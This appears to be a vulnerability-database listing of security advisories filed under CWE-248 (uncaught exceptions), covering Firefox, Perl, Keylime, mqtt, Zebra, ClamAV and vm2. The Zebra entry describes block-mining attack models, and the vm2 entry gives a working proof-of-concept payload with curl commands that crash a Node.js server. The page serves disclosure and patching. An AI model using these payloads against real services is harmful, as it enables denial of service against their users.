Common Weakness Enumeration

CWE-248

Allowed

Uncaught Exception

Abstraction: Base · Status: Draft

An exception is thrown from a function, but it is not caught.

420 vulnerabilities reference this CWE, most recent first.

GHSA-H6XQ-J8XX-3FV4

Vulnerability from github – Published: 2024-01-23 15:30 – Updated: 2025-05-22 18:31
VLAI
Details

Some WASM source files could have caused a crash when loaded in devtools. This vulnerability affects Firefox < 122.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-0754"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-23T14:15:38Z",
    "severity": "MODERATE"
  },
  "details": "Some WASM source files could have caused a crash when loaded in devtools. This vulnerability affects Firefox \u003c 122.",
  "id": "GHSA-h6xq-j8xx-3fv4",
  "modified": "2025-05-22T18:31:12Z",
  "published": "2024-01-23T15:30:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-0754"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1871605"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2024-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HCQ9-8V5X-MQJP

Vulnerability from github – Published: 2026-05-27 06:31 – Updated: 2026-05-29 18:31
VLAI
Details

IO::Uncompress::Unzip versions before 2.215 for Perl propagate uncaught exception when parsing zip header with malformed DOS date.

_dosToUnixTime() decodes the local-file-header last-modification date field and calls Time::Local::timelocal() without an eval guard. A header whose date field decodes to an out-of-range month, day, or hour causes timelocal() to die.

The exception propagates out of IO::Uncompress::Unzip->new($file) where callers expect undef plus $UnzipError.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-15649"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T04:16:23Z",
    "severity": "MODERATE"
  },
  "details": "IO::Uncompress::Unzip versions before 2.215 for Perl propagate uncaught exception when parsing zip header with malformed DOS date.\n\n_dosToUnixTime() decodes the local-file-header last-modification date field and calls Time::Local::timelocal() without an eval guard. A header whose date field decodes to an out-of-range month, day, or hour causes timelocal() to die.\n\nThe exception propagates out of IO::Uncompress::Unzip-\u003enew($file) where callers expect undef plus $UnzipError.",
  "id": "GHSA-hcq9-8v5x-mqjp",
  "modified": "2026-05-29T18:31:15Z",
  "published": "2026-05-27T06:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15649"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmqs/IO-Compress/issues/65"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmqs/IO-Compress/commit/fd28c1d2374eee9811f6d0c5bddc0957abdf1da8.patch"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/PMQS/IO-Compress-2.215/changes"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/27/1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HFF2-X2J9-GXGV

Vulnerability from github – Published: 2022-10-28 19:19 – Updated: 2025-04-29 13:15
VLAI
Summary
Keylime: unhandled exceptions could lead to invalid attestation states
Details

Impact

This vulnerability creates a false sense of security for keylime users -- i.e. a user could query keylime and conclude that a parcitular node/agent is correctly attested, while attestations are not in fact taking place.

Short explanation: the keylime verifier creates periodic reports on the state of each attested agent. The keylime verifier runs a set of python asynchronous processes to challenge attested nodes and create reports on the outcome.

The vulnerability consists of the above named python asynchronous processes failing silently, i.e. quitting without leaving behind a database entry, raising an error or producing even a mention of an error in a log. The silent failure can be triggered by a small set of transient network failure conditions; recoverable device driver crashes being one such condition we saw in the wild.

Patches

The problem is fixed in keylime starting with tag 6.5.1

Workarounds

This patch can be retroactively applied to any running keylime deployment. Only running verifiers need to be patched. After the patch is applied, the keylime verifier needs to be restarted.

References

The problem, as well as the proposed fix, are described in detail here. Further details about the system where the bug was found, and the conditions in which the bug was found, are available from @galmasi on demand.

For more information

If you have any questions or comments about this advisory, please comment at the bottom of the advisory itself.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "keylime"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-3500"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-28T19:19:42Z",
    "nvd_published_at": "2022-11-22T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nThis vulnerability creates a false sense of security for keylime users -- i.e. a user could query keylime and conclude that a parcitular node/agent is correctly attested, while attestations are not in fact taking place.\n\n**Short explanation**: the keylime verifier creates periodic reports on the state of each attested agent. The keylime verifier runs a set of python asynchronous processes to challenge attested nodes and create reports on the outcome. \n\nThe vulnerability consists of the above named python asynchronous processes failing silently, i.e. quitting without leaving behind a database entry, raising an error or producing even a mention of an error in a log. The silent failure can be triggered by a small set of transient network failure conditions; recoverable device driver crashes being one such condition we saw in the wild.\n\n### Patches\n\nThe problem is fixed in keylime starting with tag 6.5.1\n\n### Workarounds\n\nThis [patch](https://github.com/keylime/keylime/pull/1128/files) can be retroactively applied to any running keylime deployment.\nOnly running verifiers need to be patched.\nAfter the patch is applied, the keylime verifier needs to be restarted.\n\n### References\n\nThe problem, as well as the proposed fix, are described in detail [here](https://github.com/keylime/keylime/pull/1128).\nFurther details about the system where the bug was found, and the conditions in which the bug was found, are available from @galmasi on demand.\n\n### For more information\n\nIf you have any questions or comments about this [advisory](https://github.com/keylime/keylime/security/advisories/GHSA-hff2-x2j9-gxgv), please comment at the bottom of the advisory itself.",
  "id": "GHSA-hff2-x2j9-gxgv",
  "modified": "2025-04-29T13:15:08Z",
  "published": "2022-10-28T19:19:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/security/advisories/GHSA-hff2-x2j9-gxgv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-3500"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/pull/1128"
    },
    {
      "type": "WEB",
      "url": "https://github.com/keylime/keylime/commit/f969d397f92962b553f8c5bcbbeeb3bbdeca9456"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2022-3500"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/keylime/keylime"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/keylime/PYSEC-2022-42995.yaml"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/PUTHMDVFNGGVPCNPOGULMJAAFEP7MEXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/QX4XVCAUFGJ2I2NCTOKONTJGRJB2NBBT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZQH5CJRX65QYMQN5WGUKKKE3IRJBWG5Z"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/PUTHMDVFNGGVPCNPOGULMJAAFEP7MEXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QX4XVCAUFGJ2I2NCTOKONTJGRJB2NBBT"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZQH5CJRX65QYMQN5WGUKKKE3IRJBWG5Z"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Keylime: unhandled exceptions could lead to invalid attestation states"
}

GHSA-HG78-C92R-HVWR

Vulnerability from github – Published: 2020-09-01 16:01 – Updated: 2021-09-23 21:37
VLAI
Summary
Denial of Service in mqtt
Details

Affected versions of mqtt will cause the node process to crash when receiving specially crafted MQTT packets, making the application vulnerable to a denial of service condition.

Recommendation

Update to v1.0.0 or later

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.3.13"
      },
      "package": {
        "ecosystem": "npm",
        "name": "mqtt"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2016-1000242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-08-31T18:12:16Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `mqtt` will cause the node process to crash when receiving specially crafted MQTT packets, making the application vulnerable to a denial of service condition.\n\n\n\n## Recommendation\n\nUpdate to v1.0.0 or later",
  "id": "GHSA-hg78-c92r-hvwr",
  "modified": "2021-09-23T21:37:37Z",
  "published": "2020-09-01T16:01:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-1000242"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mqttjs/MQTT.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mqttjs/MQTT.js/blob/388a084d7803934b18b43c1146c817deaa1396b1/lib/parse.js#L230"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:mqtt:20160817"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/140"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Denial of Service in mqtt"
}

GHSA-HHM7-QRV5-H4R6

Vulnerability from github – Published: 2026-07-02 19:46 – Updated: 2026-07-02 19:46
VLAI
Summary
Zebra: Repeated Non-Finalized Shielded Transaction Aborts Zebra Before Duplicate-Nullifier Rejection
Details

Am I affected

You are affected if:

  1. You run zebrad up to and including v4.4.1.
  2. Your node processes blocks past the checkpoint height (non-finalized state is active).
  3. The network has NU5 or later activated.

All default configurations are affected.

Summary

Chain::push in the non-finalized state updates the transaction-location index (tx_loc_by_hash) before it runs the duplicate shielded-nullifier guard. When an invalid child block repeats a shielded transaction from its non-finalized parent, the assert_eq!(prior_pair, None, "transactions must be unique within a single chain") fires before the contextual validation that would cleanly reject the duplicate. Under Zebra's panic = "abort" release profile, this terminates the entire node process.

The block should be rejected with a duplicate-nullifier contextual validation error. Instead, the ordering of index updates within Chain::push causes the process to abort.

Details

In zebra-state/src/service/non_finalized_state/chain.rs:1608-1628, the block push sequence is:

  1. Insert transaction hash into tx_loc_by_hash with assert_eq! on uniqueness
  2. Update transparent outputs and inputs
  3. Update shielded data (JoinSplit, Sapling, Orchard) — including nullifier uniqueness checks

The shielded nullifier uniqueness check at step 3 would correctly reject the duplicate transaction. But the assert_eq! at step 1 fires first because the transaction hash is already in tx_loc_by_hash from the parent block on the same chain.

The block transaction verifier does not run the best-chain nullifier query for block transactions — that check is gated on mempool transactions only (zebra-consensus/src/transaction.rs:521-526). Initial contextual validation checks nullifiers in finalized state only (zebra-state/src/service/check.rs:407-415), but the parent transaction is still in non-finalized state.

There are two attack models:

Model A (two attacker blocks): The attacker mines two consecutive valid-work blocks: parent B1 containing a shielded transaction T, and child B2 repeating T. This requires controlling both blocks consecutively.

Model B (one attacker block after an honest block): The attacker broadcasts a shielded transaction T into the mempool. When any honest miner includes T in their block B1, the attacker only needs to mine the next child block B2 containing the same T. This requires controlling only one block immediately after an honest block that included the attacker's transaction. The attacker can broadcast a suitable shielded transaction every block until one is included by an honest miner, then attempt to mine the follow-up.

Both models require the child block to repeat the shielded-only V5 transaction while the parent is still in non-finalized state.

Patches

zebra-state 7.0.0 and zebrad 4.5.0.

Replace the assert_eq! with an Entry-based check that returns ValidateContextError::DuplicateTransaction instead of panicking:

match self.tx_loc_by_hash.entry(transaction_hash) {
    Entry::Vacant(entry) => {
        entry.insert(transaction_location);
    }
    Entry::Occupied(_) => {
        return Err(ValidateContextError::DuplicateTransaction { transaction_hash });
    }
}

Workarounds

There is no configuration-level workaround. The assert is in the non-finalized state push path, which is exercised by all block processing past the checkpoint height.

Impact

A malicious block producer can crash targeted Zebra nodes. There are two attack models:

In the first model, the attacker mines two consecutive valid-work blocks where the child repeats a shielded transaction from the parent. At 10% hashrate, the attacker has approximately 11.5 opportunities per day; at 5%, approximately 2.9 per day; at 1%, approximately one every 8.7 days.

In the second model, the attacker broadcasts a shielded transaction into the mempool and waits for any honest miner to include it. The attacker then only needs to mine the next block containing the same transaction. This is cheaper because the attacker does not need to mine the parent block. At 10% hashrate, the attacker has approximately 14.4 single-block opportunities per day; at 5%, approximately 7.2 per day; at 1%, approximately 1.4 per day.

The crash is a process abort (not recoverable within the process). The node must be restarted. Repeated attacks can keep a node down for extended periods. This is a liveness issue, not a consensus divergence: zcashd cleanly rejects the invalid child block while Zebra aborts.

Credit

Reported by @haxatron via email disclosure.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.0.0"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebra-state"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.1"
      },
      "package": {
        "ecosystem": "crates.io",
        "name": "zebrad"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52739"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T19:46:35Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Am I affected\n\nYou are affected if:\n\n1. You run `zebrad` up to and including `v4.4.1`.\n2. Your node processes blocks past the checkpoint height (non-finalized state is active).\n3. The network has NU5 or later activated.\n\nAll default configurations are affected.\n\n### Summary\n\n`Chain::push` in the non-finalized state updates the transaction-location index (`tx_loc_by_hash`) before it runs the duplicate shielded-nullifier guard. When an invalid child block repeats a shielded transaction from its non-finalized parent, the `assert_eq!(prior_pair, None, \"transactions must be unique within a single chain\")` fires before the contextual validation that would cleanly reject the duplicate. Under Zebra\u0027s `panic = \"abort\"` release profile, this terminates the entire node process.\n\nThe block should be rejected with a duplicate-nullifier contextual validation error. Instead, the ordering of index updates within `Chain::push` causes the process to abort.\n\n### Details\n\nIn `zebra-state/src/service/non_finalized_state/chain.rs:1608-1628`, the block push sequence is:\n\n1. Insert transaction hash into `tx_loc_by_hash` with `assert_eq!` on uniqueness\n2. Update transparent outputs and inputs\n3. Update shielded data (JoinSplit, Sapling, Orchard) \u2014 including nullifier uniqueness checks\n\nThe shielded nullifier uniqueness check at step 3 would correctly reject the duplicate transaction. But the `assert_eq!` at step 1 fires first because the transaction hash is already in `tx_loc_by_hash` from the parent block on the same chain.\n\nThe block transaction verifier does not run the best-chain nullifier query for block transactions \u2014 that check is gated on mempool transactions only (`zebra-consensus/src/transaction.rs:521-526`). Initial contextual validation checks nullifiers in finalized state only (`zebra-state/src/service/check.rs:407-415`), but the parent transaction is still in non-finalized state.\n\nThere are two attack models:\n\n**Model A (two attacker blocks):** The attacker mines two consecutive valid-work blocks: parent B1 containing a shielded transaction T, and child B2 repeating T. This requires controlling both blocks consecutively.\n\n**Model B (one attacker block after an honest block):** The attacker broadcasts a shielded transaction T into the mempool. When any honest miner includes T in their block B1, the attacker only needs to mine the next child block B2 containing the same T. This requires controlling only one block immediately after an honest block that included the attacker\u0027s transaction. The attacker can broadcast a suitable shielded transaction every block until one is included by an honest miner, then attempt to mine the follow-up.\n\nBoth models require the child block to repeat the shielded-only V5 transaction while the parent is still in non-finalized state.\n\n### Patches\n\nzebra-state 7.0.0 and zebrad 4.5.0.\n\nReplace the `assert_eq!` with an `Entry`-based check that returns `ValidateContextError::DuplicateTransaction` instead of panicking:\n\n```rust\nmatch self.tx_loc_by_hash.entry(transaction_hash) {\n    Entry::Vacant(entry) =\u003e {\n        entry.insert(transaction_location);\n    }\n    Entry::Occupied(_) =\u003e {\n        return Err(ValidateContextError::DuplicateTransaction { transaction_hash });\n    }\n}\n```\n\n### Workarounds\n\nThere is no configuration-level workaround. The assert is in the non-finalized state push path, which is exercised by all block processing past the checkpoint height.\n\n### Impact\n\nA malicious block producer can crash targeted Zebra nodes. There are two attack models:\n\nIn the first model, the attacker mines two consecutive valid-work blocks where the child repeats a shielded transaction from the parent. At 10% hashrate, the attacker has approximately 11.5 opportunities per day; at 5%, approximately 2.9 per day; at 1%, approximately one every 8.7 days.\n\nIn the second model, the attacker broadcasts a shielded transaction into the mempool and waits for any honest miner to include it. The attacker then only needs to mine the next block containing the same transaction. This is cheaper because the attacker does not need to mine the parent block. At 10% hashrate, the attacker has approximately 14.4 single-block opportunities per day; at 5%, approximately 7.2 per day; at 1%, approximately 1.4 per day.\n\nThe crash is a process abort (not recoverable within the process). The node must be restarted. Repeated attacks can keep a node down for extended periods. This is a liveness issue, not a consensus divergence: zcashd cleanly rejects the invalid child block while Zebra aborts.\n\n### Credit\n\nReported by `@haxatron` via email disclosure.",
  "id": "GHSA-hhm7-qrv5-h4r6",
  "modified": "2026-07-02T19:46:35Z",
  "published": "2026-07-02T19:46:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/security/advisories/GHSA-hhm7-qrv5-h4r6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ZcashFoundation/zebra"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/blob/d4cd662c716382f6397d2a730148025a1ca79fec/Cargo.toml#L304-L305"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/blob/d4cd662c716382f6397d2a730148025a1ca79fec/zebra-consensus/src/transaction.rs#L521-L526"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ZcashFoundation/zebra/blob/d4cd662c716382f6397d2a730148025a1ca79fec/zebra-state/src/service/non_finalized_state/chain.rs#L1608-L1628"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Zebra: Repeated Non-Finalized Shielded Transaction Aborts Zebra Before Duplicate-Nullifier Rejection"
}

GHSA-HVPM-HV6G-6M5C

Vulnerability from github – Published: 2026-03-04 18:31 – Updated: 2026-03-04 18:31
VLAI
Details

A vulnerability in the HTML Cascading Style Sheets (CSS) module of ClamAV could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.

This vulnerability is due to improper error handling when splitting UTF-8 strings. An attacker could exploit this vulnerability by submitting a crafted HTML file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to terminate the scanning process.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-20031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-04T18:16:16Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the HTML Cascading Style Sheets (CSS) module of ClamAV could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device.\n\nThis vulnerability is due to improper error handling when splitting UTF-8 strings. An attacker could exploit this vulnerability by submitting a crafted HTML file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to terminate the scanning process.",
  "id": "GHSA-hvpm-hv6g-6m5c",
  "modified": "2026-03-04T18:31:54Z",
  "published": "2026-03-04T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20031"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-clamav-css-Fn4QSZ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HW58-P9XV-2MJH

Vulnerability from github – Published: 2026-05-07 04:10 – Updated: 2026-05-14 20:36
VLAI
Summary
vm2 has a Sandbox Escape via Promise Constructor Unhandled Rejection (Process Crash DoS)
Details

Summary

A sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the onRejected callback in .then() and .catch() overrides and did not address the executor-to-unhandledRejection path.

Details

When sandboxed code creates a Promise whose executor sets Error.name to a Symbol() and then accesses .stack, V8's internal FormatStackTrace (C++) attempts Symbol.toString(), which throws a host-realm TypeError. Because this error originates inside the Promise executor and no .catch() handler is attached, it becomes an unhandled rejection that propagates to the host process.

  • lib/setup-sandbox.js:38localPromise wraps the native Promise constructor but does not wrap the executor in try-catch.
  • lib/setup-sandbox.js:165-230resetPromiseSpecies and the .then()/.catch() overrides sanitize the onRejected callback chains, but do not intercept unhandled rejections originating from the executor itself.

The CVE-2026-22709 patch (v3.10.2) sanitized .then() and .catch() callback chains but left the executor-to-unhandledRejection path completely open.

Root Cause: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.

allowAsync: false does not help: This setting only blocks async/await syntax and overrides .then()/.catch() to throw. The Promise constructor itself is still callable. Worse, because .catch() is blocked, any rejection from the executor is guaranteed to be unhandled — making allowAsync: false paradoxically more dangerous than true for this vulnerability.

PoC

Library-level PoC (Node.js script — primary):

const { VM } = require("vm2");

// Works with ANY allowAsync setting — both true and false
const vm = new VM({ timeout: 5000, allowAsync: false });

try {
  const result = vm.run(`
    new Promise(function(r, j) {
      var e = new Error();
      e.name = Symbol();
      e.stack;
    });
  `);
  console.log("Result:", result);   // Reaches here (returns Promise object)
} catch (err) {
  console.log("Caught:", err);       // Never executed
}

console.log("After try-catch");      // Also prints normally

// But on the next microtask tick:
// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]
// Exit code: 1
//
// try-catch cannot help — vm.run() returns synchronously,
// the rejection fires asynchronously outside any catch scope.
//
// NOTE: allowAsync: false only blocks async/await syntax and
// .then()/.catch() method calls. The Promise constructor itself
// still executes, and the unhandled rejection still propagates.
// In fact, allowAsync: false makes it WORSE — .catch() is blocked,
// so the rejection is guaranteed to be unhandled.

HTTP demonstration (web service impact):

# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"output":[],"errors":[],"result":"\"alive\"","executionTime":1}

# 2. Send payload — server process will crash
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})"}'

# 3. Server is dead (connection refused until restart)
curl -s http://localhost:3000/  # => connection refused

Impact

  • DoS: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default — no special configuration is required for the crash to occur.
  • Persistent DoS despite restart policies: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single curl request caused the Docker container to restart (confirmed via StartedAt timestamp change), and sending the next request immediately after restart triggered another crash. This creates a continuous denial-of-service loop where the service never becomes available to legitimate users — each restart is met with another crash before any real request can be served.
  • Amplification: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.
  • Scope: All applications using vm2, regardless of allowAsync setting. allowAsync: false only blocks async/await syntax and .then()/.catch() method calls — the Promise constructor itself still executes, and the unhandled rejection still propagates. In fact, allowAsync: false makes the vulnerability worse because .catch() is blocked, guaranteeing the rejection is always unhandled.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44001"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:10:29Z",
    "nvd_published_at": "2026-05-13T18:16:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA sandbox escape vulnerability in vm2 v3.10.5 allows any sandboxed code to crash the host Node.js process via a single Promise constructor that triggers an unhandled rejection propagating to the host. The fix for CVE-2026-22709 (v3.10.2) only sanitized the `onRejected` callback in `.then()` and `.catch()` overrides and did not address the executor-to-unhandledRejection path.\n\n### Details\nWhen sandboxed code creates a `Promise` whose executor sets `Error.name` to a `Symbol()` and then accesses `.stack`, V8\u0027s internal `FormatStackTrace` (C++) attempts `Symbol.toString()`, which throws a **host-realm TypeError**. Because this error originates inside the Promise executor and no `.catch()` handler is attached, it becomes an **unhandled rejection** that propagates to the host process.\n\n- `lib/setup-sandbox.js:38` \u2014 `localPromise` wraps the native `Promise` constructor but does not wrap the executor in try-catch.\n- `lib/setup-sandbox.js:165-230` \u2014 `resetPromiseSpecies` and the `.then()`/`.catch()` overrides sanitize the `onRejected` callback chains, but do not intercept unhandled rejections originating from the executor itself.\n\nThe CVE-2026-22709 patch (v3.10.2) sanitized `.then()` and `.catch()` callback chains but left the executor-to-unhandledRejection path completely open.\n\n**Root Cause**: Promise executor errors are not caught/sanitized before they can propagate as unhandled rejections to the host process, causing an immediate process crash.\n\n**`allowAsync: false` does not help**: This setting only blocks `async`/`await` syntax and overrides `.then()`/`.catch()` to throw. The `Promise` constructor itself is still callable. Worse, because `.catch()` is blocked, any rejection from the executor is *guaranteed* to be unhandled \u2014 making `allowAsync: false` paradoxically more dangerous than `true` for this vulnerability.\n\n### PoC\n\n**Library-level PoC (Node.js script \u2014 primary):**\n```javascript\nconst { VM } = require(\"vm2\");\n\n// Works with ANY allowAsync setting \u2014 both true and false\nconst vm = new VM({ timeout: 5000, allowAsync: false });\n\ntry {\n  const result = vm.run(`\n    new Promise(function(r, j) {\n      var e = new Error();\n      e.name = Symbol();\n      e.stack;\n    });\n  `);\n  console.log(\"Result:\", result);   // Reaches here (returns Promise object)\n} catch (err) {\n  console.log(\"Caught:\", err);       // Never executed\n}\n\nconsole.log(\"After try-catch\");      // Also prints normally\n\n// But on the next microtask tick:\n// [UnhandledPromiseRejection: TypeError: Cannot convert a Symbol value to a string]\n// Exit code: 1\n//\n// try-catch cannot help \u2014 vm.run() returns synchronously,\n// the rejection fires asynchronously outside any catch scope.\n//\n// NOTE: allowAsync: false only blocks async/await syntax and\n// .then()/.catch() method calls. The Promise constructor itself\n// still executes, and the unhandled rejection still propagates.\n// In fact, allowAsync: false makes it WORSE \u2014 .catch() is blocked,\n// so the rejection is guaranteed to be unhandled.\n```\n\n**HTTP demonstration (web service impact):**\n```bash\n# 1. Confirm server is running\ncurl -s http://localhost:3000/api/execute \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"\\\"alive\\\"\"}\u0027\n# =\u003e {\"output\":[],\"errors\":[],\"result\":\"\\\"alive\\\"\",\"executionTime\":1}\n\n# 2. Send payload \u2014 server process will crash\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"code\":\"new Promise(function(r,j){var e=new Error();e.name=Symbol();e.stack})\"}\u0027\n\n# 3. Server is dead (connection refused until restart)\ncurl -s http://localhost:3000/  # =\u003e connection refused\n```\n\n### Impact\n- **DoS**: A single request crashes the entire host Node.js process. All concurrent users lose service immediately. In Node.js 15+, unhandled rejections terminate the process by default \u2014 no special configuration is required for the crash to occur.\n- **Persistent DoS despite restart policies**: Even when container orchestration (Docker restart policy, Kubernetes liveness probes, PM2, etc.) automatically restarts the crashed process, an attacker can send repeated requests to crash the process again before it fully recovers. In our testing, a single `curl` request caused the Docker container to restart (confirmed via `StartedAt` timestamp change), and sending the next request immediately after restart triggered another crash. This creates a **continuous denial-of-service loop** where the service never becomes available to legitimate users \u2014 each restart is met with another crash before any real request can be served.\n- **Amplification**: A single HTTP request (~150 bytes) terminates the entire host process serving all users. The cost to the attacker is negligible compared to the impact.\n- **Scope**: **All applications using vm2, regardless of `allowAsync` setting.** 